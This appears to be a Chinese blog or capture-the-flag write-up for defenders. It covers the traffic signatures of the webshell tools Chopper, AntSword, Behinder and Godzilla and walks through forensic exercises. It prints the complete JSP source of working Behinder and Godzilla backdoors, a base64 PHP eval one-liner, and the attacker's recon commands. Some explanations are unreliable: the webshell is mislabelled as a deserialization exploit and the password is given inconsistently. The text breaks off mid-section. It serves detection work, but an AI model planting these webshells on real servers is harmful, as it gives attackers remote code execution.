菜刀、蚁剑、冰蝎、哥斯拉是常见的webshell管理工具。
在攻防演练中,了解其常见webshell管理工具的流量特征对防守方来说十分重要。常见的webshell也在不断发展以绕过安全设备waf的检测,其流量特征也在不断演变,我们应该与时俱进的进行了解分析。
简单的来说,菜刀和蚁剑采用静态加密的方式,其流量的攻击特征较为明显,而冰蝎和哥斯拉采用了动态加密的方式,更容易绕过安全设备的检测。
菜刀
特征
1.payload在请求体中,采用url编码+base64编码,payload部分是明文传输。
2.payload中有eval或assert、base64_decode这样的字符。
3.payload中有默认固定的&z0=QGluaV9zZXQ...
这样base64加密的攻击载荷,参数z0对应$_POST[z0]
接收到的数据,且固定为QGluaV9zZXQ
开头。进行base64解码后可看到代码:@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0)
;
这段意思是首先关闭报错和magic_quotes,接下来去获取主机的信息。
蚁剑
1.请求时可选择多种编码器,如果采用默认的方式,则仅进行url编码。
2.进行连接时会进行两次请求,第一次请求的payload和菜刀相似,也是@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);
意思是关闭报错和magic_quotes,接下来获取主机信息。这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码。
3.第二次请求会把主机的目录列出来。
4.由于蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“0x.....=”这种形式(下划线可替换为其他)所以,以0x开头的参数名,后面为加密数据的数据包也可识别为蚁剑的流量特征。
冰蝎
冰蝎2.0
-
使用 AES加密+base64编码发起三次请求。
-
第一次GET请求服务端产生密钥写入 session,session 和当前会话绑定,不同的客户端的密钥也是不同的。
-
第二次GET请求是为了获取密钥 key,服务端会生成16位的AES密钥。
-
第三次使用 key 的AES加密进行通信,通信也采用了base64编码。
-
进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。因此当发现一个ip的请求头中的
user-agent
在频繁变换,就可能是冰蝎。
冰蝎3.0
-
使用AES加密+base64编码发起两次请求。
-
与冰蝎2.0相比,冰蝎3.0取消了动态密钥获取的请求
AES的密钥直接固定为连接密码32位md5的前16位,默认连接密码是"rebeyond"(即密钥是
md5('rebeyond')[0:16]=e45e329feb5d925b
)。服务端和客户端不再进行密钥的交互传递。两次请求中,第一次请求用于判断是否可以建立连接。
第二次发送 phpinfo 等代码执行,获取网站的信息。
-
与冰蝎2.0相似,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。
连接jsp的webshell的请求数据包中的
content-type
字段常见为application/octet-stream
。
冰蝎4.0
-
提供了传输协议自定义的功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。
v4.0版本不再有连接密码的概念,自定义传输协议的算法就是连接密码。
-
Accept字段(弱特征),通常是
Accept: application/json, text/javascript, */*; q=0.01
意思是浏览器可接受任何文件,但最倾向application/json
和text/javascript
。 -
Content-Type字段(弱特征),通常是
Content-type: Application/x-www-form-urlencoded
-
与冰蝎的前述版本相似,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。
-
连接的端口有一定的特征,冰蝎与webshell建立连接的同时,javaw也与目的主机建立tcp连接,每次连接使用本地端口在49700左右(就是比较大的端口),每连接一次,每建立一次新的连接,端口就依次增加。
-
使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有
Connection:Keep-Alive
-
有固定的请求头和响应头,
请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,
响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
-
默认时,冰蝎 webshell都有“e45e329feb5d925b” 一串密钥,与冰蝎3.0相同。
哥斯拉
-
支持多种加密,采用了和冰蝎 2.0 类似的密钥交换方式
哥斯拉建立连接时会发起三次请求,第一次请求数据超级长,用于建立 session,第二三次请求确认连接,第二、三次的请求和响应基本是一致的。
-
User-Agent字段
(弱特征),如果采用默认的情况,会暴露使用的jdk信息。不过哥斯拉支持自定义HTTP头部,这个默认特征是可以很容易去除的。 -
Accept字段
(弱特征),默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。同上,这个也可修改,只能作为辅助检测的特征。 -
Cookie中有一个非常关键的特征,最后会有个
分号
。估计后续的版本会修复。 -
响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:
md5前十六位+base64+md5后十六位
webshell后门例题
1.黑客登录系统使用的密码是?
直接搜索password
Admin123@#
2.黑客修改了一个日志文件,文件的绝对路径为?
data/Runtime/Logs/Home/21_08_07.log或者有可能是/var/www/html/data/Runtime/Logs/Home/21_08_07.log
修改日志文件,直接过滤POST,并搜索关键字log
http.request.method == "POST"
看到
echo "PD9waHAgZXZhbCgkX1JFVUVTVF9Sb0ZhcXskPz4=" | base64 -d
3.黑客获取webshell之后,权限是______?www-data
4.黑客写入的webshell文件名是_____________?1.php
我的思路正常是直接POST,发现最多的就是index.php和1.php
翻找index.php,在第一个左下角发现password
看到whoami命令
看到日志文件
上传一句话木马
再次whoami
一眼知道后门文件是1.php,关于其他的问题——正常思路——右键上下滑动寻找线索
打开1.php第一个发现
从这张图知道1.APACHE日志2.1.php在var/www/html文件夹下
还发现了目录
解决第3题
首先要知道:查找权限尝试两个命令
whoami # 查看当前用户
id # 查看用户所属组及权限
找到了whoami命令
下翻看到
<!-- 1. APACHE_RUN_USER:Apache 服务运行的用户 --> <tr><td class="e">APACHE_RUN_USER </td><td class="v">www-data </td></tr>
<!-- 2. APACHE_RUN_GROUP:Apache 服务运行的用户组 --> <tr><td class="e">APACHE_RUN_GROUP </td><td class="v">www-data </td></tr>
<!-- 3. APACHE_LOG_DIR:Apache 日志文件存储目录 --> <tr><td class="e">APACHE_LOG_DIR </td><td class="v">/var/log/apache2 </td></tr>
<!-- 4. PWD:当前工作目录(类似 Linux 的 `pwd` 命令结果) --> <tr><td class="e">PWD </td><td class="v">/ </td></tr>
5.黑客上传的代理工具客户端名字是_____________?frpc
tips:
常见代理工具客户端(和 WebShell 配合)
工具名 | 客户端文件特征 | 典型场景 |
---|---|---|
reGeorg | reGeorgSocksProxy.py (Python) |
轻量,通过 HTTP 隧道转发 Socks5 流量 |
EarthWorm(EW) | ew.exe (Windows)、ew_linux (Linux) |
支持多协议(Socks/HTTP/TCP),功能全 |
frp | frpc (客户端)+ frps (服务端) |
需提前配置,适合长期驻留 |
Termite | termite.exe (Windows) |
专门针对内网穿透,隐蔽性强 |
从目录里发现frpc,可知
6.黑客代理工具的回连服务端IP是_____________?192.168.239.123
7.黑客的socks5的连接账号、密码是______?
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
查找frpc.ini内容,16进制转ascii
冰蝎
jsp
jsp代码分析
这段 JSP 代码是一段具有恶意功能的代码,主要用于动态加载并执行加密解密后的字节码,可能被用于远程代码执行攻击,具体解析如下:
1.导入加密相关类
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
导入了 Java 加密相关的类,用于后续的 AES 解密操作
2.自定义类加载器 U
<%!class U extends ClassLoader{ U(ClassLoader c){ super(c); } public Class g(byte []b){ return super.defineClass(b,0,b.length);
}}%>
定义了一个继承自 ClassLoader
的类 U
,其核心方法 g(byte[] b)
调用 defineClass
把字节数组转换为 Java 类(这是动态加载类的关键,通常用于加载未在类路径中的字节码)。
-
处理 POST 请求的逻辑
<%if (request.getMethod().equals("POST")){ String k="3f0af7bb4dbcfbd7";// AES 密钥(16字节,符合 AES-128 要求) session.putValue("u",k); Cipher c=Cipher.getInstance("AES");// 初始化 AES 加密器 c.init(2,new SecretKeySpec(k.getBytes(),"AES"));// 模式 2 表示解密模式 // 解密流程: // 1. 读取 POST 请求中的一行数据并 Base64 解码 // 2. 用 AES 解密解码后的数据,得到字节码 // 3. 用自定义类加载器加载字节码并实例化,最后与 pageContext 比较(实际是触发类的初始化/执行) new U(this.getClass().getClassLoader()).g(c.doFinal(newsun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); }%>
恶意用途
这段代码的核心目的是:当服务器接收到 POST 请求时,会用固定密钥
3f0af7bb4dbcfbd7
解密客户端发送的 Base64 编码数据(通常是恶意 Java 类的字节码),然后通过自定义类加载器动态加载并执行该类。 攻击者可通过这种方式执行任意代码(如命令执行、文件操作、获取服务器权限等),是典型的 Web 后门 或 远程代码执行漏洞利用代码,常见于 Java Web 应用的攻击场景中。
例题
这很可能是一次针对 Web 服务器的 文件上传攻击,攻击者试图通过 PUT 方法上传包含恶意代码的 JSP 文件,后续可通过 POST 请求触发代码执行,获取服务器控制权。这种攻击常见于配置不当的 Java Web 服务器(如支持 PUT 方法且未限制 JSP 文件上传)。
3f0af7bb4dbcfbd7
1.黑客IP是什么?
解题思路:
冰蝎中木马上传、通信都是POST传输,用http.request.method==POST过滤,寻找最经常出现的jsp文件(可以根据请求包的长度排序)
发现大量的“indeX.jsp”,很有可能就是被上传的木马。
再过滤一下
http contains "indeX.jsp"
点击一下“Time”,根据时间进行排序
可以看到第一条就是“PUT”文件上传“indeX.jsp”
右击这一条日志,点击“追踪流”,可以看到明显的冰蝎默认jsp木马,并且返回包返回了“200”
flag{192.168.31.61}
2.黑客上传的Webshell名是什么?
flag{indeX.jsp}
3.黑客上传WebShell的时间是多少?(格式如:flag{YYYY-MM-DD HH:MM:SS})
在左下角的方框信息中,展开“Frame”,“UTC Arrival Time:”就是上传Webshell的时间
flag{2025-02-22 07:47:38}
4.木马的解密key是什么?
根据第一题的发现,可以发现密钥key就在请求包的body里(密钥可以通过日志和木马的具体内容来查看)
知道了冰蝎jsp木马的格式,就找到了密钥的位置。
flag{3f0af7bb4dbcfbd7}
5.黑客执行的第一个命令是什么?
找到了木马文件,那么黑客下几步操作就是在这个文件上,继续对这个文件进行分析。
看到下面的日志都是加密的“Body”,想要看黑客用冰蝎执行了什么命令,那就要进行解密。
用蓝队分析研判工具箱”中的“解密Webshell流量”功能;
填入以下信息就可以进行解密,如下图:
解密请求包,得到:
执行的命令就是前几行的内容,这里是“ifconfig”,也可以解密返回包看看是否正确
flag{ifconfig}
6.黑客上传的文件内容是什么?
初步判断,黑客还是在通过冰蝎进行操作,于是接着分析流量日志
小技巧:可以根据下图显示红色的按钮来进行请求体的快速复制
在请求长度为362的请求体中,可以发现创建文件的语句和内容,如下图:
据资料了解,文件内容为base64编码。我去解码但是显示乱码,后面通过上传webshell来查看文件内容
直觉判断这个靶机是使用了“tomcat”的“put”任意文件上传漏洞
开启靶机后,复制日志的“PUT”包,替换ip,使用抓包工具发包,再连接!
到“home/xj/”目录下查看文件内容
至此结束
flag{485375b7b06ad856a788c0d95229f35c}
7.黑客下载的文件内容是什么?
根据题目要求思考,下载那就不止要看请求包,还要看返回包
接着分析日志,分析到最后一条
解密请求包,如下图:
发现:download /opt/apache-tomcat-8.5.19/conf/server.xml
说明在下载server.xml文件
看一下下载的内容是什么,追踪流,可以看到,最下方写有一个flag
直接提交
flag{3aacab9ca36a6894c75048e4faf47052}
8.服务器内的flag是什么?
这一步是让我们使用漏洞进入服务器,去寻找flag
flag路径:根目录下/root/
flag{ae1d04dd3d15c6a18f904fe50fdf7eca}
哥斯拉
恶意代码jsp分析
这段 JSP 代码是典型的恶意 Web 后门,用于远程代码执行,以下是详细分析:
一、核心功能拆解
代码通过 PUT
请求上传到服务器,目的是接收加密的恶意指令,解密后动态加载并执行任意代码,实现对服务器的远程控制。
二、关键代码逐段解析
- 加密与编码工具定义
<%!
String xc="1710acba6220f62b"; //解密恶意代码的密钥
String pass="7f0ee6"; //上传木马的链接密码
String md5=md5(pass+xc); // 自定义类加载器:用于动态加载解密后的字节码
class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class get(byte []cb){return super.defineClass(cb, 0, cb.length);}
}// AES 加密/解密工具方法
public byte[] x(byte[] s, boolean m) {try {javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));return c.doFinal(s);} catch (Exception e) {return null;}
}// MD5 哈希工具方法
public static String md5(String s) {String ret = null;try {java.security.MessageDigest m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret;
}// Base64 编码工具方法
public static String base64Encode(byte[] bs) throws Exception {Class base64 = Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);return (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
}// Base64 解码工具方法
public static byte[] base64Decode(String bs) throws Exception {Class base64 = Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);return (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
}
%>
xc
和pass
:是加密密钥相关的字符串,用于后续 AES 加密 / 解密和 MD5 校验。class X
:自定义类加载器,通过defineClass
动态将字节数组(加密的恶意代码)转换为可执行的 Java 类。x(byte[] s, boolean m)
:AES 加解密方法,m=true
为加密,m=false
为解密,密钥由xc
生成。md5(String s)
:生成 MD5 哈希,用于数据完整性校验。base64Encode/Decode
:Base64 编解码,用于传输加密后的字节码(避免传输中字符丢失)。
- 请求处理与代码执行
<%
// 从请求参数中获取加密的恶意数据
String data = request.getParameter("data");
if (data != null) {// 解密数据(AES 解密 + Base64 解码)byte[] dataBytes = x(base64Decode(data), false);// 动态加载解密后的字节码Class<?> clazz = new X(this.getClass().getClassLoader()).get(dataBytes);// 实例化类并执行(通过 equals 方法触发类的初始化逻辑)clazz.newInstance().equals(pageContext);// 生成 MD5 响应(用于确认执行成功)String md5Resp = md5(pass + xc);response.getWriter().write(md5Resp.substring(0, 16));response.getWriter().write(base64Encode(x(md5Resp.substring(16).getBytes(), true)));
}
%>
- 接收恶意数据:从
data
参数中获取 Base64 编码的 AES 加密数据。 - 解密与加载:先 Base64 解码,再 AES 解密,得到恶意字节码;通过自定义类加载器
X
加载为 Java 类。 - 执行恶意代码:
clazz.newInstance().equals(pageContext)
会触发类的构造方法或静态代码块,执行攻击者预设的恶意逻辑(如命令执行、文件操作等)。 - 响应确认:返回 MD5 哈希和加密后的确认信息,让攻击者知道后门已成功执行。
三、恶意行为总结
这段代码是 **“Web 一句话后门” 的高级变种 **,具有以下特点:
- 隐蔽性:通过 AES 加密和 Base64 编码传输恶意代码,规避流量检测。
- 灵活性:动态加载字节码,可执行任意 Java 代码,能实现命令执行、文件上传 / 下载、内存马注入等多种攻击。
- 持久性:上传为 JSP 文件后,可长期驻留服务器,通过
data
参数反复触发攻击。
例题
1、黑客的IP是什么?
解题思路
仍然是过滤POST,
得到两个信息,木马文件hello.jsp,黑客的ip地址192.168.31.190
直接丢进“Wireshark”中开始分析,直接过滤“HTTP",很快就发现了大量的“404”,以及哥斯拉流量的特征:aspx、jsp等等,那这里不用想肯定是扫描时留下的;
flag{192.168.31.190}
2、黑客是通过什么漏洞进入服务器的?(提交CVE编号)
解题思路
题目问我们黑客是通过什么漏洞进入服务器的并且提交漏洞的CVE编号,那我们可以从以下的几点来进行分析:
- 识别请求类型:
确定是否存在特定的 HTTP 请求(如 PUT 或 POST),这些请求通常用于上传恶意代码或进行远程执行。
- 分析请求内容:
查找特定的参数或 payload,如含有 base64 编码的数据或任何可被反序列化的对象。分析这些内容是否能够触发已知漏洞。
- 查找特征:
确认是否有反序列化、命令注入或文件上传的迹象,这些通常是常见的攻击手法。
- 关注响应状态:
检查服务器的响应状态(如 200,201,204 ),都表明攻击成功。
我直接查找put请求,发现了恶意jsp代码
右键追踪流—>HTTP,简单分析一下;
哎,一眼过去就发现了典型的“Java Servlet反序列化漏洞”,通过对“PUT”请求的处理,攻击者能够上传恶意代码并在服务器上执行。这段代码尝试通过反序列化恶意数据来执行特定的操作,利用了 Java 的反射和加密类进行数据处理。
这段代码是一个典型的 Java 反序列化漏洞利用示例这个就不需要多说了吧,主要利用了 CVE-2017-12615 漏洞(常见)。
- 代码结构分析
关键变量和方法:
String xc="1710acba6220f62b";:这是用于 AES 加密的密钥。
String pass="7f0e6f";:用于参数传递的字符串,可能是攻击者用来获取数据的密码
md5:生成 pass 和 xc 的 MD5 哈希,用于后续验证或其他操作。
自定义 ClassLoader:
class X extends ClassLoader {public X(ClassLoader z) { super(z); }public Class Q(byte[] cb) { return super.defineClass(cb, 0, cb.length); }
这里定义了一个自定义的 ClassLoader,通过调用 defineClass 方法,允许动态加载和执行字节码。
AES 加密和解密:
public byte[] x(byte[] s, boolean m) {try {javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));return c.doFinal(s);} catch (Exception e) {return null;}
这个方法用于加密或解密数据,m 参数决定了是加密(true)还是解密(false)。
Base64 编码和解码:
base64Encode 和 base64Decode 方法用于将字节数组转换为 Base64 字符串,和从 Base64 字符串解码为字节数组,分别用于数据传输中的编码和解码。
处理请求:
try {byte[] data = base64Decode(request.getParameter(pass));data = x(data, false); // 解密if (session.getAttribute("payload") == null) {session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));} else {request.setAttribute("parameters", data);java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();Object f = ((Class) session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0, 16));response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); // 加密response.getWriter().write(md5.substring(16));}
} catch (Exception e) {}
首先尝试从请求参数中获取经过 Base64 编码的数据,然后解密它。
如果会话中没有 payload,则将解密后的数据加载为类并存储在会话中。
如果已经存在 payload,则执行该类,并将结果返回给客户端。
漏洞利用方式
反序列化攻击:攻击者可以构造一个请求,包含一个经过 Base64 编码的恶意 payload,该 payload 被解码后将反序列化为 Java 对象,从而允许执行任意代码。
代码执行:通过动态加载类,攻击者可以执行恶意代码,可能导致远程代码执行(RCE)或其他安全风险。
那我们通过百度搜索关键词——”tomcat put协议“,就能发现是什么CVE漏洞;
也是很快就发现了题目的要求:CVE-2017-12615
那这里可能就有的师傅就有疑问了,是从哪里看出是“tomcat”的?
简单来说啊我们可以从以下几个方面可以知道这段代码是在 Tomcat 上运行的:
JSP 文件:请求的 URI 是 /hello.jsp,这通常是 Tomcat 作为 Java Web 应用服务器处理 JSP 文件的方式。
JSESSIONID Cookie:请求中包含 JSESSIONID Cookie,这是 Java EE 应用(包括 Tomcat)用于管理会话的标准方式。
ClassLoader 和反射:代码使用了 Java 的反射机制和自定义的 ClassLoader,这些特性在 Java EE 环境中很常见,尤其是 Tomcat。
内容类型:虽然请求的头部没有明确指定,但 JSP 文件通常会返回 text/html 类型的内容,符合 Tomcat 的处理方式。
通过这些特征,可以合理知道该代码是在 Tomcat 环境中运行的。
flag{CVE-2017-12615}
3、黑客上传的木马文件名是什么?(提交文件名)
flag{hello.jsp}
原因分析:
请求中的路径:在请求中,PUT /hello.jsp/ HTTP/1.1 表示黑客试图将数据上传到名为 hello.jsp 的文件中。
JSP 文件的特性:由于请求是对 .jsp 文件的操作,这意味着该文件将被 Web 服务器(如 Tomcat)处理,并且可以执行其中的 Java 代码,因此这通常是上传后门或木马的常见做法。
上下文:代码中涉及到动态代码执行和反射特性,表明 hello.jsp 很可能被用作执行恶意代码的载体。
因此,可以确认黑客上传的木马文件名是 hello.jsp。
4、黑客上传的木马连接密码是什么?
由代码可知
可以看出密码是“7f0e6f”
当然也不止只有这个包,我们也可以抓一个其它的包来进行分析;
过滤post
所以通过流量中的传参数得到木马连接密码是:7f0e6f
flag{7f0e6f}
5、黑客上传的木马解密密钥是什么?
flag{1710acba6220f62b}
解题思路
题目问我们黑客上传的木马解密的秘钥是什么,那这里我们得简单了解一下什么是木马的解密密钥?
官方一点说明:
其实就是木马的解密密钥是用于解密木马程序中的加密代码或数据的字符串或值。攻击者通常会加密恶意代码,以避免被安全软件检测到。解密密钥的存在使得木马能够在受害者的系统中执行其真实功能,比如窃取数据或远程控制。通过使用正确的解密密钥,攻击者可以恢复木马的原始代码,进而操控受害者的设备。
通俗易懂一点:
木马的解密密钥就是一种“密码”,用来打开隐藏在木马程序里的恶意代码。攻击者把这些代码加密,像锁住一样,目的是让安全软件更难发现。如果用这个“密码”解开木马,就能看到它真正的目的,比如窃取信息或者远程控制电脑。简单来说,解密密钥就像打开木马“保险箱”的钥匙。
<%! // 加密密钥String xc = "1710acba6220f62b"; // 解密所需的密码String pass = "7f0e6f"; // 生成的MD5摘要,用于验证String md5 = md5(pass + xc);
%>// 自定义类加载器
class X extends ClassLoader {public X(ClassLoader z) {super(z);}// 定义一个方法用于加载字节数组public Class Q(byte[] cb) {return super.defineClass(cb, 0, cb.length);}
}// AES加解密方法
public byte[] x(byte[] s, boolean m) {try {javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");// 根据m的值选择加密或解密模式c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));return c.doFinal(s);} catch (Exception e) {return null; // 发生异常时返回null}
}// 计算字符串的MD5值
public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");// 更新MD5摘要m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); // 返回MD5值} catch (Exception e) {}return ret;
}%>
我们来一起分析一下;
首先在这段代码中,我们可以看见String xc = "1710acba6220f62b"; 这一行直接定义了一个加密密钥 xc。这个密钥在后续的 AES 加密和解密过程中被使用上了。具体原因如下:
密钥定义:xc 是一个字符串,用作 AES 加解密的密钥。它的长度需要符合 AES 的要求(16、24 或 32 字节),而这个字符串正好是16字节,适合 AES-128 加密。
加密过程:在 public byte[] x(byte[] s, boolean m) 方法中,xc 被用来初始化 javax.crypto.Cipher 对象,从而进行加密或解密操作。c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); 这一行中,xc.getBytes() 将字符串转换为字节数组,作为密钥传递给加密算法。
核心作用:因此,xc 的值 "1710acba6220f62b" 是整个加密和解密过程的核心,任何试图解密使用此密钥加密的数据,必须知道这个密钥。
总结来说,xc 是加密过程中的密钥,正因其存在,才能实现数据的加密和解密。
所以题目问我们黑客上传的木马解密密码是:1710acba6220f62b
6、黑客连接webshell后执行的第一条命令是什么?
还是俩字“翻译”
打开app,先把我们之前找到的“密码”,以及“密钥”进行输入
红色部分是请求区域,蓝色是返回
找了很多個終於找到一個能輸出的流量包
得到;
cmdLine sh -c "cd "/";uname -r" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";uname -r" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";uname -rmethodName execCommand
命令结构:
-
cmdLine sh -c "cd "/";uname -r":这里使用了 sh -c 来执行一串命令。
-
cd "/":切换到根目录,尽管这个操作在此上下文中并没有实际效果,就是没用。
-
uname -r:返回系统的内核版本。
-
重定向:
-
2>&1:这部分用于将标准错误输出重定向到标准输出,确保所有的输出信息都可以被捕获和返回。
-
参数和方法:
arg-0 sh、arg-1 -c、arg-2 cd "/";uname -r:这些参数表明命令的构成和执行方法。
methodName execCommand:这表明这是一个执行命令的方法调用。
综合来看,黑客通过这个命令获取了系统的内核版本信息,因为这有助于他判断系统的安全性和可能的攻击向量。 -
那这里我们接着把返回请求(蓝色区域),也接着进行解密一下;
4.19.0-25-amd64
看着像uname -r的返回语句,同时也印证就是uname -r命令
总结一下:
思路就是黑客第一次执行了命令——uname -r,想看看系统的内核版本信息有没有漏洞什么的,最后返回了系统信息——4.19.0-25-amd64
flag{uname -r}
7、黑客连接webshell时查询当前shell的权限是什么?
解题思路
题目问我们黑客连接“webshell”时查询当前shell的权限是什么,接着分析下一个流量包,(可以按时间排序),找到
请求(红色区域)解密得到
cmdLine sh -c "cd "/";id" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";id" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd ;
命令结构:
- cmdLine sh -c "cd "/";id":使用 sh -c 来执行命令。
- cd "/":切换到根目录,通常在这种情况下没有实际作用。
- id:获取当前用户的身份信息,包括用户ID(UID)和组ID(GID),这可以帮助攻击者了解他们在目标系统中的权限。
- 重定向:
- 2>&1:同样将标准错误输出重定向到标准输出,以确保所有输出信息都被捕获并返回。
- 参数和方法:
arg-0 sh、arg-1 -c、arg-2 cd "/";id:这些参数显示了命令的构成。
methodName execCommand:表明这是一个执行命令的方法调用。
总结
这段请求的主要目的是让攻击者获取关于当前用户的身份信息,以便他能够评估自己在目标系统上的权限和潜在的攻击能力。
那我们接着,继续分析一下返回(蓝色区域)解密数据得到
uid=0(root) gid=0(root) groups=0(root)
这个返回包的内容表示以下信息:
- uid=0(root):当前用户的用户ID(UID)是0,表示该用户是超级用户(root)。在Unix/Linux系统中,UID 0代表系统的管理员,有完全的权限。
- gid=0(root):当前用户的组ID(GID)也是0,表示该用户属于root组。
- groups=0(root):列出了当前用户所属的组,这里只有root组。
很明显,题目问“连接webshell时查询当前shell的权限”,执行了命令id,并且返回的结果为uid=0(root) gid=0(root) groups=0(root),都表明是root用户
flag{root}
8、黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?
解题思路
题目问:黑客利用“webshell”执行命令查询的服务器“Linux”系统发行的版本是什么
有两个要点:
1.“Linux”发行的系统版本常见的有哪一些?
- Ubuntu:
用户友好,适合新手和开发者。
有多个版本,包括桌面版和服务器版。
- Debian:
以稳定性和自由软件为宗旨。
是许多其他发行版(如Ubuntu)的基础。
- Fedora:
由Red Hat支持,注重最新技术和开源软件。
提供较新版本的软件包。
- CentOS:
基于Red Hat Enterprise Linux(RHEL),适合企业使用。
提供长期支持和稳定性。
- Arch Linux:
以简单、灵活和用户控制为特点。
采用滚动更新模型,适合高级用户。
- openSUSE:
提供多种安装方式和桌面环境。
包括适合开发和服务器的版本。
- Linux Mint:
基于Ubuntu,设计友好,适合初学者。
提供多种桌面环境,如Cinnamon、MATE和XFCE。
- Slackware:
被认为是最古老的Linux发行版之一,注重稳定性和简单性。
适合那些喜欢手动配置系统的用户。
2.在“Liunx”中执行什么命令才能查看系统发行版信息呢?
这里总结一下常见的3个使用命令:
1、lsb_release命令:
lsb_release -a
这个命令会显示详细的版本信息,包括发行版名称、版本号等。
2、cat命令:
对于大多数发行版,可以查看 /etc/os-release 文件:
cat /etc/os-release对于Debian和Ubuntu系统,可以查看 /etc/issue 或 /etc/debian_version:
cat /etc/issue
cat /etc/debian_version
3、uname命令:
uname -a
这个命令会显示内核版本和其他系统信息,但不包括发行版的名称。
继续解密流量,找到
那我们也还是老规矩,请求(红色区域)进行解密得到:
cmdLine ' sh -c "cd "/";cat /etc/os-release" 2>&1arg-3 2>&1executableFile shexecutableArgs $ -c "cd "/";cat /etc/os-release" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";cat /etc/os-releasemethodName execCommand
命令结构:
- cmdLine sh -c "cd "/";cat /etc/os-release":使用 sh -c 来执行命令。
- cd "/":切换到根目录,这里同样没有实际效果。
- cat /etc/os-release:读取并输出 /etc/os-release 文件的内容,该文件包含操作系统的名称和版本信息。
- 重定向:
- 2>&1:将标准错误输出重定向到标准输出,以便捕获所有输出信息。
- 参数和方法:
arg-0 sh、arg-1 -c、arg-2 cd "/";cat /etc/os-release:这些参数表明命令的构成。
methodName execCommand:指明这是一个执行命令的方法调用。
总结
通过这个请求,攻击者意图获取目标系统的操作系统版本信息。这有助于他们了解系统的环境,从而判断可能的脆弱性或进一步的攻击手段,而且也发现了我们需要的命令——cat /etc/os-release;*这个就是题目的要求获取“Liunx”发行版本的常用命令之一;
那我们继续往下分析返回(蓝色区域)进行解密得到;
哥斯拉webshell返回包流量解密为:PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
简单分析一下:
这段返回包的内容提供了关于目标系统的详细信息:PRETTY_NAME:"Debian GNU/Linux 10 (buster)" 表示操作系统的名称和版本。
NAME:操作系统的基本名称,这里是 Debian GNU/Linux。
VERSION_ID 和 VERSION:指示版本号为10,代号为“buster”。
VERSION_CODENAME:该版本的代号,用于在包管理和支持中识别。
ID:表示操作系统为“debian”。
URLs:提供了关于该发行版的主页、支持和错误报告的链接。
题目问我们“黑客利用webshell执行命令查询服务器Linux系统发行版本是什么”,所以“Debian GNU/Linux 10 (buster)”就是黑客获取的发行版本
flag{Debian GNU/Linux 10 (buster)}
9、黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)
继续解密流量
cmdLine & sh -c "cd "/";rpm -qa | grep pam" 2>&1arg-3 2>&1executableFile shexecutableArgs # -c "cd "/";rpm -qa | grep pam" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";rpm -qa | grep pammethodName execCommand
重点:rpm -qa | grep pam:使用 rpm 命令列出所有已安装的软件包,并通过 grep 过滤出与“pam”相关的软件包。PAM(可插入式认证模块)通常与系统认证和安全性相关。
接着来解密一下返回包(蓝色区域)得到
2>&1: 1: 2>&1: rpm: not found:
- rpm: not found:表示系统中没有安装 rpm 命令,或者该命令不可用。rpm 是 Red Hat 系列 Linux 发行版中用于管理软件包的工具。
- 2>&1: 1: 2>&1::这部分似乎是命令执行时的错误输出,但语法不太正确,可能是命令执行时的格式问题,导致输出混乱。
总结
